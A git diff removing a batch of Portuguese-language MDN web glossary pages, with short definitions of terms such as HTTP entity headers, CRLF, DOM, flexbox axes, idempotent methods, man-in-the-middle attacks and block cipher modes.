- - diff --git "a/files/pt-pt/gloss\303\241rio/cabe\303\247alho_de_entidade/index.html" "b/files/pt-pt/gloss\303\241rio/cabe\303\247alho_de_entidade/index.html" deleted file mode 100644 index e7181009c7..0000000000 --- "a/files/pt-pt/gloss\303\241rio/cabe\303\247alho_de_entidade/index.html" +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Cabeçalho de entidade -slug: Glossário/Cabeçalho_de_entidade -tags: - - Glossário - - WebMechanics -translation_of: Glossary/Entity_header ---- -

Um cabeçalho de entidade é um {{glossary("header", "cabeçalho de HTTP")}} que descreve o conteúdo do corpo da mensagem. Cabeçalhos de entidade são usados em pedidos e respostas de HTTP. Cabeçalhos como {{HTTPHeader("Content-Length")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Encoding")}} são cabeçalhos de entidade.

- -

Mesmo que os cabeçalhos das entidades não sejam cabeçalhos de pedido ou de resposta, eles são frequentemente incluídos com estes termos.

- -

No seguinte exemplo, {{HTTPHeader("Content-Length")}} é um cabeçalho de entidade, enquanto {{HTTPHeader("Host")}} e {{HTTPHeader("User-Agent")}} são {{glossary("request header", "cabeçalhos de pedido")}}:

- -
POST /myform.html HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Content-Length: 128
- -

Aprender mais

- -

Conhecimento técnico

- - diff --git "a/files/pt-pt/gloss\303\241rio/cache/index.html" "b/files/pt-pt/gloss\303\241rio/cache/index.html" deleted file mode 100644 index d3372eebf0..0000000000 --- "a/files/pt-pt/gloss\303\241rio/cache/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Cache -slug: Glossário/Cache -tags: - - Glossário - - HTTP -translation_of: Glossary/Cache ---- -

Um cache (web cache or cache HTTP) é um componente que armazena respostas HTTP temporariamente para que para que possa ser utilizado para pedidos HTTP subesequentes, desde que cumpra determinadas condições.

- -

Saiba Mais

- -

Conhecimento geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/cia/index.html" "b/files/pt-pt/gloss\303\241rio/cia/index.html" deleted file mode 100644 index 164bd5ab91..0000000000 --- "a/files/pt-pt/gloss\303\241rio/cia/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: CIA -slug: Glossário/CIA -tags: - - Glossário - - Segurança -translation_of: Glossary/CIA ---- -

A CIA (Confidentiality, Integrity, Availability) (em português Confidencialidade, Integridade, Disponibilidade), também chamada a tríade CIA ou a tríade AIC, é um modelo que orienta as políticas de segurança da informação de uma organização.

- -

Saiba mais

- -

Conhecimento Geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/compilar/index.html" "b/files/pt-pt/gloss\303\241rio/compilar/index.html" deleted file mode 100644 index 4242775302..0000000000 --- "a/files/pt-pt/gloss\303\241rio/compilar/index.html" +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Compilar -slug: Glossário/Compilar -tags: - - CodingScripting - - Glossário -translation_of: Glossary/Compile ---- -

Compilar é o processo de transformar um programa de computador em uma determinada linguagem de programação para o mesmo programa escrito em outro idioma (normalmente um idioma binário que o computador pode executar).

- -

Saiba mais

- -

Conhecimento geral

- - - -

Recursos de aprendizagem

- - - -
- - - - - -
diff --git "a/files/pt-pt/gloss\303\241rio/compressao_gzip/index.html" "b/files/pt-pt/gloss\303\241rio/compressao_gzip/index.html" deleted file mode 100644 index 8be9011fc9..0000000000 --- "a/files/pt-pt/gloss\303\241rio/compressao_gzip/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Compressão GZip -slug: Glossário/Compressao_GZip -tags: - - Glossário - - compressão - - gzip -translation_of: Glossary/GZip_compression ---- -

gzip é um algoritmo de compressão que permite reduzir o tamanho dos ficheiros, permitindo transferências mais rápidas na rede. É normalmente suportado pelos servidores da Web e navegadores modernos, o que significa que os servidores podem comprimir automaticamente os ficheiros com o gzip antes de enviá-los, e os navegadores podem descomprimir os ficheiros depois de os receberem.

- -

Saiba mais

- - diff --git "a/files/pt-pt/gloss\303\241rio/crlf/index.html" "b/files/pt-pt/gloss\303\241rio/crlf/index.html" deleted file mode 100644 index 6ee96215ed..0000000000 --- "a/files/pt-pt/gloss\303\241rio/crlf/index.html" +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: CRLF -slug: Glossário/CRLF -tags: - - CR - - CRLF - - Glossário - - Infraestrutura - - LF - - Nova Linha - - carriage return -translation_of: Glossary/CRLF ---- -

CR e LF são caracteres de controlo ou {{interwiki("wikipedia", "bytecode")}} que podem ser utilizados para marcar uma quebra de linha num ficheiro de texto.

- - - -

O CR imediatamente seguido por um LF (CRLF, \r\n, ou 0x0D0A) move o cursor para baixo até à linha seguinte e depois para o início da linha.

- -

Saiba mais

- -

Conhecimento Geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/crud/index.html" "b/files/pt-pt/gloss\303\241rio/crud/index.html" deleted file mode 100644 index 175789d7ed..0000000000 --- "a/files/pt-pt/gloss\303\241rio/crud/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: CRUD -slug: Glossário/CRUD -tags: - - Glossário - - Infraestrutura -translation_of: Glossary/CRUD ---- -

CRUD (Create, Read, Update, Delete) (em português criação, consulta, atualização e destruição) é um acrónimo para as formas como se pode operar com dados armazenados. É uma mnemónica para as quatro funções básicas de armazenamento persistente.  CRUD refere-se normalmente a operações realizadas numa base de dados ou datastore, mas pode também aplicar-se a funções de nível superior de uma aplicação, tais como soft delete, onde os dados não são realmente apagados, mas marcados como apagados.

- -

Saiba mais

- -

Geral Conhecimento

- - diff --git "a/files/pt-pt/gloss\303\241rio/dom/index.html" "b/files/pt-pt/gloss\303\241rio/dom/index.html" deleted file mode 100644 index b2106f7a82..0000000000 --- "a/files/pt-pt/gloss\303\241rio/dom/index.html" +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: DOM (Modelo de Objeto de Documento) -slug: Glossário/DOM -tags: - - CodingScripting - - DOM - - Glossário -translation_of: Glossary/DOM ---- -

O DOM (Modelo de Objeto de Documento) é uma {{Glossary("API")}} que representa e interage com qualquer documento de {{Glossary("HTML")}} ou {{Glossary("XML")}}. O DOM é um modelo de documento carregado no {{glossary("navegador")}} e representando o documento como uma árvore de nodo, onde cada nodo representa parte do documento (por exemplo, um  {{Glossary("elemento")}}, string de texto, ou comentário) .

- -

DOM é uma das {{Glossary("API")}}s mais utilizadas na {{Glossary("World Wide Web","Web")}} porque este permite que cada código em execução num navegador aceda e interaja com cada nodo no documento. Os nodos podem ser criados, movidos e alterados. Listeners de evento podem ser adicionados aos nodos e ativados com a ocorrência de um dado evento.

- -

DOM não foi originalmente especificado -- este apareceu quando os navegadores começaram a implementar o {{Glossary("JavaScript")}}. Este DOM legado é às vezes chamado de DOM 0. Hoje, o WHATWG mantém o Padrão de Especificação DOM.

- -

Saber mais

- -

Conhecimentos Gerais

- - - -

Informação técnica

- - diff --git "a/files/pt-pt/gloss\303\241rio/ecma/index.html" "b/files/pt-pt/gloss\303\241rio/ecma/index.html" deleted file mode 100644 index 067a20cc61..0000000000 --- "a/files/pt-pt/gloss\303\241rio/ecma/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: ECMA -slug: Glossário/ECMA -tags: - - Glossário - - Mecanismos Web -translation_of: Glossary/ECMA ---- -

Ecma International (oficialmente Associação Européia dos Fabricantes de Computadores) é uma organização sem fins lucrativos que desenvolve os padrões para hardware de computadores, comunicações e linguagens de programação.

- -

Na web ela é famosa por ser a organização que mantém a especificação ECMA-262 (também conhecida por {{Glossary("ECMAScript")}}), que é a especificação núcleo para a linguagem {{Glossary("JavaScript")}}.

- -

Aprenda mais

- - diff --git "a/files/pt-pt/gloss\303\241rio/eixo_principal/index.html" "b/files/pt-pt/gloss\303\241rio/eixo_principal/index.html" deleted file mode 100644 index 02f69020e3..0000000000 --- "a/files/pt-pt/gloss\303\241rio/eixo_principal/index.html" +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Eixo principal -slug: Glossário/Eixo_principal -tags: - - CSS - - Glossário - - flexbox -translation_of: Glossary/Main_Axis ---- -

O eixo principal num {{glossary("flexbox")}} tem a direção definida pela propriedade {{cssxref("flex-direction")}}. Esta propriedade pode ter os seguintes valores:

- - - -

Quando o valor é row ou row-reverse ou eixo principal fica na horizontal, ao longo de cada linha.

- -

In this image the flex-direction is row which forms the main axis

- -

Quando o valor é column ou column-reverse o eixo principal fica na vertical, ao longo dos blocos.

- -

- -

No eixo principal pode-se controlar o tamanho dos elementos flexíveis aumentando o espaço disponível para os próprios elementos, através da propriedade flex de cada um. Em alternativa, pode-se controlar o espaço entre/à volta dos elementos com a propriedade justify-content.

- -

Aprender mais

- -

Referência das propriedades

- -
- -
- -

Aprofundar

- - diff --git "a/files/pt-pt/gloss\303\241rio/eixo_transversal/index.html" "b/files/pt-pt/gloss\303\241rio/eixo_transversal/index.html" deleted file mode 100644 index 79b1d8d2c3..0000000000 --- "a/files/pt-pt/gloss\303\241rio/eixo_transversal/index.html" +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Eixo transversal -slug: Glossário/Eixo_transversal -tags: - - CSS - - Glossário - - flexbox -translation_of: Glossary/Cross_Axis ---- -

Numa {{glossary("flexbox")}}, ou eixo transveral é perpendicular ao {{glossary("main axis")}}, o que significa que se a direção for ao longo de uma linha (ou seja, {{cssxref("flex-direction")}} é row ou row-reverse) então o eixo transversal estende-se ao longo das colunas.

- -

The cross axis runs down the column

- -

Se por outro lado a direção for ao longo das colunas ({{cssxref("flex-direction")}} é column or column-reverse) então este eixo estende-se ao longo das linhas.

- -

The cross axis runs along the row.

- -

Alinhamento de elementos no eixo transversal faz-se com a propriedade align-items no contentor flexível ou com a propriedade align-self em elementos individuais. No caso de um contentor com várias linhas, que tenha espaço adicional no eixo transversal, pode-se utilizar align-content para controlar o espaçamento das linhas.

- -

Aprender mais

- -

Referência de propriedades

- -
- -
- -

Aprofundar

- - - - diff --git "a/files/pt-pt/gloss\303\241rio/elemento/index.html" "b/files/pt-pt/gloss\303\241rio/elemento/index.html" deleted file mode 100644 index 4acc682ed0..0000000000 --- "a/files/pt-pt/gloss\303\241rio/elemento/index.html" +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Elemento -slug: Glossário/Elemento -tags: - - CodingScripting - - Glossário - - HTML -translation_of: Glossary/Element ---- -

Um elemento faz parte de uma página da Web. Em XML e HTML, um elemento pode conter um item de dados ou parte de texto ou uma imagem, ou talvez nada. Um elemento típico inclui uma tag de abertura com alguns atributos, conteúdo de texto fechado e uma tag de fecho.Example: in <p class="nice">Hello world!</p>, '<p class="nice">' is an opening tag, 'class="nice"' is an attribute and its value, 'Hello world!' is enclosed text content, and '</p>' is a closing tag.

- -

Elementos e tags não são a mesma coisa. Tags começam e terminam um elemento no código fonte, onde os elementos são parte de {{Glossary("DOM")}}, o documento modelo para exibir a página no {{glossary("browser","navegador")}}.

- -

Consultar também

- - diff --git "a/files/pt-pt/gloss\303\241rio/etiqueta/index.html" "b/files/pt-pt/gloss\303\241rio/etiqueta/index.html" deleted file mode 100644 index 825a294e51..0000000000 --- "a/files/pt-pt/gloss\303\241rio/etiqueta/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Tag -slug: Glossário/Etiqueta -translation_of: Glossary/Tag ---- -

Em {{Glossary("HTML")}} é utilizada uma tag para criar um {{Glossary("element","elemento")}}.  O name de um elemento de HTML é o name utilizado em parêntese angular, tal como <p> para parágrafo. Note que a etiqueta de fim name é precedida pelo caráter "barra oblíqua", "</p>", e nos elementos vazios a etiqueta de fim não é necessária, nem permitida. Se os atributos não forem mencionados, são utilizados os valores predefinidos, em cada caso. 

- -

Saber mais

- -

Conhecimento Geral

- - - -

Referência técnica

- - - -

 

- -

 

diff --git "a/files/pt-pt/gloss\303\241rio/extensoes_da_web/index.html" "b/files/pt-pt/gloss\303\241rio/extensoes_da_web/index.html" deleted file mode 100644 index a86c3706b6..0000000000 --- "a/files/pt-pt/gloss\303\241rio/extensoes_da_web/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Extensões da Web -slug: Glossário/Extensoes_da_Web -tags: - - CodingScripting - - Extensões da Web - - Glossário - - Precisa de Conteúdo -translation_of: Glossary/WebExtensions ---- -

'Extensões da Web' é um sistema cruzado de navegador para o desenvolvimento de extensões de navegador no Firefox. Este sistema fornece APIs, que em grande parte são suportadas em diferentes navegadores , tais como o Google Chrome, Microsoft Edge, Mozilla Firefox e Opera Browser.

- -

Saiba mais

- -

referência técnica

- - diff --git "a/files/pt-pt/gloss\303\241rio/favicon/index.html" "b/files/pt-pt/gloss\303\241rio/favicon/index.html" deleted file mode 100644 index 639edc9921..0000000000 --- "a/files/pt-pt/gloss\303\241rio/favicon/index.html" +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Favicon -slug: Glossário/Favicon -tags: - - Glossário - - Intro - - favicon -translation_of: Glossary/Favicon ---- -

Um favicon (do inglês: favorite icon) é um pequeno ícone que acompanha o website, que é visualizado na barra do endereço, guia de páginas e no menu de favoritos. Note, no entanto, que a maior parte dos navegadores modernos substituíram o favicon na barra de endereço por uma imagem, indicando se o site utiliza {{Glossary("https","HTTPS")}}.

- -

Geralmente, um favicon tem o tamanho de 16 x 16 píxeis, nos formatos {{Glossary("GIF")}}, {{Glossary("PNG")}} ou no formato ICO.

- -

São utilizados para melhorar a experiência do utilizador e reforçar a consistência da marca. Quando um ícone familiar é visto, por exemplo, na barra de endereço, ajuda o utilizador a saber que se encontra no lugar certo.

- -

Saiba mais

- -

Conhecimento geral

- - - -

Saiba mais sobre isso

- - diff --git "a/files/pt-pt/gloss\303\241rio/flexbox/index.html" "b/files/pt-pt/gloss\303\241rio/flexbox/index.html" deleted file mode 100644 index 6964e7a36e..0000000000 --- "a/files/pt-pt/gloss\303\241rio/flexbox/index.html" +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Flexbox -slug: Glossário/Flexbox -tags: - - CSS - - Glossário - - flexbox -translation_of: Glossary/Flexbox ---- -

Flexbox é o nome geralmente dado ao Módulo de Layout em Caixa Flexível do CSS (CSS Flexible Box Layout Module), um modelo de layout com o propósito de alinhar elementos numa determinada direção — ao longo de uma linha ou de uma coluna.

- -

Na sua especificação, Flexbox é descrito como um modelo de layout para desenho da interface do utilizador. A principal funcionalidade do Flexbox é o facto de os elementos do layout poderem encolher ou crescer. Pode-se especificar quanto espaço cada elemento ocupa ou quanto espaço deve haver entre elementos.

- -

Flexbox permite alinhamento de elementos no eixo principal ou no eixo transversal, e assim permite grande controlo sobre o tamanho e alinhamento de um grupo de elementos.

- -

Aprender mais

- -

Referência das propriedades

- -
- -
- -

Aprofundar

- - - - diff --git "a/files/pt-pt/gloss\303\241rio/gcs/index.html" "b/files/pt-pt/gloss\303\241rio/gcs/index.html" deleted file mode 100644 index abed4317c5..0000000000 --- "a/files/pt-pt/gloss\303\241rio/gcs/index.html" +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: GCS -slug: Glossário/GCS -tags: - - CodingScripting - - GCS - - Glossário - - SCM -translation_of: Glossary/SCM ---- -

O GCS (Gestão de Controlo de Software ou Source Control Management) é um sistema de gestão do código fonte. Normalmente refere-se à utilização de software para o controlo de versões. Um programador pode modificar arquivos de código fonte sem ter medo de editar coisas úteis, porque um GCS mantém um registo de como o código fonte muda e quem faz as alterações.

- -

Sistemas de gerência de configuração de software incluí CVS, SVN, {{glossary("GIT")}}.

- -

Saiba mais

- -

Conhecimento geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/git/index.html" "b/files/pt-pt/gloss\303\241rio/git/index.html" deleted file mode 100644 index f43064220f..0000000000 --- "a/files/pt-pt/gloss\303\241rio/git/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Git -slug: Glossário/Git -tags: - - Colaboração - - Glossário -translation_of: Glossary/Git ---- -

Git é um sistema gratuito, de fonte aberta e distribuído de gestão do código fonte ({{Glossary("SCM", "GCS")}}). Facilita a gestão de bases de código com equipas de desenvolvimento distribuídas. O que o distingue dos sistemas SCM anteriores é a capacidade de fazer operações comuns (criar uma branch, fazer um commit, etc.) na sua máquina de desenvolvimento local, sem ter de alterar o repositório principal ou mesmo ter acesso de escrita a ele.

- -

Saiba mais

- -

Conhecimento Geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/hipertexto/index.html" "b/files/pt-pt/gloss\303\241rio/hipertexto/index.html" deleted file mode 100644 index 0816740252..0000000000 --- "a/files/pt-pt/gloss\303\241rio/hipertexto/index.html" +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Hipertexto -slug: Glossário/Hipertexto -tags: - - Glossário - - Mecânica da Web - - Web -translation_of: Glossary/Hypertext ---- -
Sequência de texto que permite a remissão para outra localização (documento, ficheiro, página da Internet, etc.). -

-"hipertexto", in Dicionário Priberam da Língua Portuguesa [em linha], 2008-2013, https://www.priberam.pt/dlpo/hipertexto [consultado em 03-12-2017].
-
- -

Hipertexto é o texto que contém as hiperligações para outros textos, em oposição a um único fluxo linear, tal como numa novela.

- -
Sequência de texto que permite a remissão para outra localização (documento, ficheiro, página da Internet, etc.). - -

-"hipertexto", in Dicionário Priberam da Língua Portuguesa [em linha], 2008-2013, https://www.priberam.pt/dlpo/hipertexto [consultado em 03-12-2017].
-
- -

O termo foi criado por Ted Nelson, por volta de 1965.

- -

Saiba mais

- -

Conhechimento Geral

- - - -

Referência técnica

- - - -
- - - - - -
diff --git "a/files/pt-pt/gloss\303\241rio/html/index.html" "b/files/pt-pt/gloss\303\241rio/html/index.html" deleted file mode 100644 index 8cb677ae62..0000000000 --- "a/files/pt-pt/gloss\303\241rio/html/index.html" +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: HTML -slug: Glossário/HTML -tags: - - Glossário - - HTML - - Programação Scripting - - 'l10n:priority' -translation_of: Glossary/HTML ---- -
{{QuickLinksWithSubpages("/pt-PT/docs/Glossário")}}
- -

HTML (Linguagem de Marcação de Hipertexto) é uma linguagem descritiva que especifica a estrutura da página da Web.

- -

Breve história

- -

Em 1990, como parte da sua visão da {{glossary("World Wide Web","Web")}}, Tim Berners-Lee definiu o conceito de {{glossary("hypertext")}}, que Berners-Lee formalizou o ano seguinte através de uma marcação com base principalmente em {{glossary("SGML")}}. O {{glossary("IETF")}} começou a especificar formalmente o HTML em 1993 e depois de vários rascunhos lançaram a versão 2.0 em 1995. Em 1994, Berners-Lee fundou {{glossary("W3C")}} para desenvolver a Web. Em 1996, W3C assumiu o trabalho em HTML e publicou a recomendação HTML 3.2 um ano depois. O HTML 4.0 foi lançado em 1999 e tornou-se um padrão {{glossary("ISO")}} em 2000 .

- -

Naquela época, o W3C quase abandonou HTML em favor de {{glossary("XHTML")}}, levando à fundação de um grupo independente chamado de {{glossary("WHATWG")}} em 2004. Devido a WHATWG, o trabalho em {{glossary("HTML5")}} continuou: as duas organizações lançaram o primeiro rascunho em 2008 e o padrão final em 2014 .

- -

Conceito e sintaxe

- -

Um documento HTML é um documento de texto simples estruturado com {{glossary("element","elementos")}}. Os elementos estão rodeados por {{Glossary("tag","etiquetas")}} correspondentes de abertura e fecho. Cada etiqueta começa e termina com parêntesis angulares (<>). Existem algumas etiquetas vazias ou sem validade que não podem incluir qualquer texto, por exemplo {{htmlelement("img")}}.

- -

Pode estender tags HTML com {{Glossary("attribute","atributos")}}, que fornecem informação adicional, afetando o modo como o navegador interpreta o elemento:

- -

Detail of the structure of an HTML element

- -

Um ficheiro HTML é normalmente guardado com uma extensão .htm ou .html, servida por um {{Glossary("Server","Servidor da Web")}}, e pode ser renderizado por qualquer {{Glossary("Browser","navegador da Web")}}.

- -

Saber mais:

- -

Conhecimento geral

- - - -

Aprender HTML

- - - -

Referência técnica

- - diff --git "a/files/pt-pt/gloss\303\241rio/iana/index.html" "b/files/pt-pt/gloss\303\241rio/iana/index.html" deleted file mode 100644 index f6a4d9c517..0000000000 --- "a/files/pt-pt/gloss\303\241rio/iana/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: IANA -slug: Glossário/IANA -tags: - - Glossário - - Infraestrutura -translation_of: Glossary/IANA ---- -

IANA (Internet Assigned Numbers Authority), em português "autoridade para atribuição de números de internet", é uma filial da {{glossary("ICANN")}} reposável pelo registo e / ou atribuição de {{glossary("domain name","nomes de dominio")}}, {{glossary("IP address","endreços IP")}}, e outros nomes e números utilizados pelos {{glossary("protocol","protocolos")}} da Internet.

- -

Aprende Mais

- -

Conhecimento geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/idempotent/index.html" "b/files/pt-pt/gloss\303\241rio/idempotent/index.html" deleted file mode 100644 index a84b97ecbd..0000000000 --- "a/files/pt-pt/gloss\303\241rio/idempotent/index.html" +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Idempotent -slug: Glossário/Idempotent -translation_of: Glossary/Idempotent ---- -

Um método HTTP é idempotente se, e só se, o mesmo pedido puder ser feito mais do que uma vez, tendo sempre o mesmo resultado e deixando o servidor no mesmo estado. Por outras palavras, um método idempotente não deve ter efeitos secundários. Implementados corretamente, os métodos {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, and {{HTTPMethod("DELETE")}} são idempotentes, mas não o método {{HTTPMethod("POST")}}. Todos os métodos {{glossary("safe")}} também são idempotentes.

- -

Para ser idempotente, apenas o "back-end" do servidor é considerado, sendo que o estado retornado por cada pedido pode diferir: a primeira chamada de {{HTTPMethod("DELETE")}} deve retornar {{HTTPStatus("200")}}, enquanto as sucessivas devem retornar {{HTTPStatus("404")}}. Outra implicação de o {{HTTPMethod("DELETE")}} ser idempotente é que os programadores não devem implementar APIs RESTful com a funcionalidade de apagar última entrada usando o método de DELETE.

- -

É de notar que a idempotência de um método não é garantida pelo servidor e algumas aplicações podem incorretamente violar a constrição de idempotência.

- -

GET /pageX HTTP/1.1 é idempotente. Com várias chamadas ao servidor, o cliente obtém os mesmos resultados:

- -
GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-
- -

POST /add_row HTTP/1.1 não é idempotente; com várias chamadas ao servidor, adiciona novas linhas:

- -
POST /add_row HTTP/1.1
-POST /add_row HTTP/1.1   -> Adiciona uma 2ª linha
-POST /add_row HTTP/1.1   -> Adiciona uma 3ª linha
-
- -

DELETE /idX/delete HTTP/1.1 é idempotente, mesmo que o estado de retorno seja diferente entre cada chamada:

- -
DELETE /idX/delete HTTP/1.1   -> Returns 200 se idX existir
-DELETE /idX/delete HTTP/1.1   -> Returns 404 visto que idX acabou de ser apagado
-DELETE /idX/delete HTTP/1.1   -> Returns 404
- -

Saber mais

- -

Conhecimento comum

- - - -

Conhecimento técnico

- - diff --git "a/files/pt-pt/gloss\303\241rio/index.html" "b/files/pt-pt/gloss\303\241rio/index.html" deleted file mode 100644 index 55cefb9ab1..0000000000 --- "a/files/pt-pt/gloss\303\241rio/index.html" +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Glossário -slug: Glossário -tags: - - Beginner - - Dicionário - - Glossário - - Index - - Landing - - Terminologia - - definições -translation_of: Glossary ---- -
{{LearnBox({"title":"Aprenda um termo novo:"})}}
- -

As tecnologias da Web contêm listas longas de gíria e abreviações que são utilizadas na documentação e programação. Este glossário fornece definições de palavras e abreviações que precisa de saber para compreender e criar para a Web com sucesso.

- -

Termos do Glossário

- -

{{GlossaryList({"split":"h3", "css":"multiColumnList"})}}

- -

Contribua para o glossário

- -

Este glossário é um trabalho sem fim e em progresso. Pode ajudar a melhorá-lo, inserindo novas entradas ou melhorando as já existentes. O modo mais fácil para começar é clicar no botão seguinte ou escolher um dos termos sugeridos abaixo.

- -

Adicionar uma nova entrada ao glossário

- -

{{GlossaryList({"terms":["at-rule", "ALPN", "Attack", "Byte-Order Mark", "client", "Character set", "cryptosystem", "debug", "digital signature", "execution", "flex-direction", "GLSL", "Interface", "Library", "Memory management", "routers", "Self-Executing Anonymous Function", "Stylesheet", "Vector image"], "filter":"notdefined", "css":"multiColumnList"})}}

- -

Se pretender saber mais sobre como contribuir para o glossário, consulte a página do estado da documentação do glossário.

- - diff --git "a/files/pt-pt/gloss\303\241rio/indexeddb/index.html" "b/files/pt-pt/gloss\303\241rio/indexeddb/index.html" deleted file mode 100644 index 6857254a7b..0000000000 --- "a/files/pt-pt/gloss\303\241rio/indexeddb/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: IndexedDB -slug: Glossário/IndexedDB -tags: - - API - - Banco de Dados - - Glossário - - Sql -translation_of: Glossary/IndexedDB ---- -

IndexedDB é uma {{glossary("API")}} de web para armazenar volumosas estruturas de dados dentro dos navegadores e indexá-los para buscas de alto desempenho. Sendo um RDBMS baseado em {{glossary("SQL")}}, IndexedDB é um sistema de banco de dados transacionais. Porém ele usa objectos {{glossary("JavaScript")}} ao invés de tabelas em colunas fixas para armazenar os dados.

- -

Aprenda mais

- - diff --git "a/files/pt-pt/gloss\303\241rio/isp/index.html" "b/files/pt-pt/gloss\303\241rio/isp/index.html" deleted file mode 100644 index b8d180e53b..0000000000 --- "a/files/pt-pt/gloss\303\241rio/isp/index.html" +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: ISP -slug: Glossário/ISP -tags: - - Fornecedor de acesso à internet - - Glossário - - ISP - - Web - - WebMechanics -translation_of: Glossary/ISP ---- -

Um ISP (Fornecedor de Acesso à Internet ou em inglês Internet Service Provider) vende acesso à Internet e, por vezes, e-mail, alojamento Web e voz sobre IP, quer através de uma ligação telefónica (antigamente mais comum), quer através de uma ligação de banda larga, tal como um modem por cabo ou serviço DSL.

- -

Saiba mais

- -

Conhecimento Geral

- - diff --git "a/files/pt-pt/gloss\303\241rio/lazy_load/index.html" "b/files/pt-pt/gloss\303\241rio/lazy_load/index.html" deleted file mode 100644 index b94fa537c9..0000000000 --- "a/files/pt-pt/gloss\303\241rio/lazy_load/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Lazy load -slug: Glossário/Lazy_load -tags: - - Glossário - - Lazy loading - - Referencia - - Web Performance -translation_of: Glossary/Lazy_load ---- -

O Lazy loading (carregamento preguiçoso) é uma estratégia que atrasa o carregamento de alguns recursos (por exemplo, imagens) até serem necessários pelo utilizador com base na actividade do utilizador e no seu padrão de navegação; normalmente, estes recursos só são carregados quando são visualizados. Se implementado correctamente, este atraso no carregamento de activos é ininterrupto para a experiência do utilizador e pode ajudar a melhorar o desempenho da carga inicial, incluindo o time to interactive, uma vez que são necessários menos recursos para que a página comece a funcionar.

- -

Consultar também

- - diff --git "a/files/pt-pt/gloss\303\241rio/metadados/index.html" "b/files/pt-pt/gloss\303\241rio/metadados/index.html" deleted file mode 100644 index 59cd3c3f6f..0000000000 --- "a/files/pt-pt/gloss\303\241rio/metadados/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Metadados -slug: Glossário/Metadados -tags: - - Glossário - - HTML - - Programação Scripting - - metadados -translation_of: Glossary/Metadata ---- -

Metadados é — na sua definição mais simples - dados que descrevem dados. Por exemplo, um documento {{glossary("HTML")}} é dados, mas HTML também pode conter metadados no seu elemento {{htmlelement("head")}} que descreve o documento — por exemplo, quem o escreveu, e o seu resumo.

- -

Saber mais

- -

Conhecimento Geral

- - - -

Metadados de HTML

- - diff --git "a/files/pt-pt/gloss\303\241rio/mitm/index.html" "b/files/pt-pt/gloss\303\241rio/mitm/index.html" deleted file mode 100644 index d4f2414032..0000000000 --- "a/files/pt-pt/gloss\303\241rio/mitm/index.html" +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: MitM -slug: Glossário/MitM -tags: - - Glossário - - Segurança -translation_of: Glossary/MitM ---- -

Um Ataque Man-in-the-middle (MitM) interceta uma comunicação entre dois sistemas. Por exemplo, um roteador Wi-Fi pode estar comprometido.

- -

Comparando isto com o correio físico: se estiverem a escrever cartas para cada um, o carteiro pode intercetar cada carta que manda. Eles abrem-na, lêem-na, eventualmente modificam-na, e depois colocam-na numa carta e só então é que a enviam para o seu destinatário . O recipiente original então responderia à carta, e o carteiro abriria-a novamente, lia-a, eventualmente modificava-a, colocava-a num envelope, e a entregaria a si. Não saberia que exisite um "homem no meio" no seu canal de comunicação – o carteiro é invisível para si e para o seu recipiente.

- -

No correio físico e na comunicação on-line, os ataques MITM são difíceis de defender. Algumas dicas:

- - - -
-

Saber mais

- - -
- -
- - - - - -
diff --git "a/files/pt-pt/gloss\303\241rio/modo_de_opera\303\247\303\243o_de_cifra_de_bloco/index.html" "b/files/pt-pt/gloss\303\241rio/modo_de_opera\303\247\303\243o_de_cifra_de_bloco/index.html" deleted file mode 100644 index c9f87eb850..0000000000 --- "a/files/pt-pt/gloss\303\241rio/modo_de_opera\303\247\303\243o_de_cifra_de_bloco/index.html" +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Modo de operação de cifra de bloco -slug: Glossário/Modo_de_operação_de_cifra_de_bloco -tags: - - Criptografía - - Glossário - - Modo de operação de cifra de bloco - - Segurança -translation_of: Glossary/Block_cipher_mode_of_operation ---- -

Um modo de operação de cifra de bloco, especifica como uma cifra de bloco deve ser usado para encriptar e decrepitar mensagens que são maiores que o bloco.

- -

A maioria de algoritmos de chave simétrica atualmente em uso são cifras de bloco; isto significa que encriptam dados em bloco. O tamanho de cada bloco é fixo e determinado pelo algoritmo; por exemplo, a cifra AES usa blocos de 16-bytes. Cifras de bloco são sempre utilizadas com um modo de operação, que especifica como encriptar mensagens maiores que um bloco. CTR, CBC, e GCM são exemplos de modos de operação que podem ser usados, mas usar um modo de operação incorretamente pode desfazer a segurança criada pela própria cifra.

